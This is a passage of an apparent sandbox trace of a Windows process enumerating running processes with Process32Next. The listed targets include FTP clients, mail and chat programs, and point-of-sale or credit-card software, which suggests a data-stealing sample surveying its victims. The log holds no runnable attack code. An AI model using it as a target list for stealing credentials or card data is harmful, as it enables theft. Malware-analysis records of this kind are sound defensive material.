th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0275.843] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0275.845] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0275.847] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0275.849] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0275.852] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0275.854] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0275.856] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0275.858] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0275.860] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0275.913] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0275.915] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0275.917] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0275.919] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0275.921] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0275.924] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0275.926] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0275.928] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0275.930] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0275.933] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0275.935] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0275.937] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0275.939] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0275.941] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0275.944] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0275.946] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0275.948] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0275.950] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0275.995] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0275.997] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0276.000] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0276.002] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0276.005] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0276.007] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0276.009] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0276.012] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0276.015] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0276.018] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0276.021] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0276.023] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0276.026] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0276.029] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0276.031] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0276.034] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0276.072] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0276.075] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0276.080] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0276.083] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0276.085] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0276.087] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0276.090] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0276.092] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0276.094] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0276.108] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0276.111] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0276.114] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0276.117] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0276.119] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0276.121] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0276.124] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0276.126] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0276.178] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0276.181] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0276.183] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0276.186] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0276.188] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0276.191] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0276.193] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0276.195] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0276.197] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0276.200] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0276.202] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0276.204] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0276.206] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0276.208] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0276.211] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0276.213] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.215] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0276.217] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0276.219] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0276.221] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0276.258] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0276.261] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0xcb0, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 0 [0276.263] CloseHandle (hObject=0x344) returned 1 [0276.263] Sleep (dwMilliseconds=0x64) [0276.348] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0276.365] Process32First (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0276.367] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, 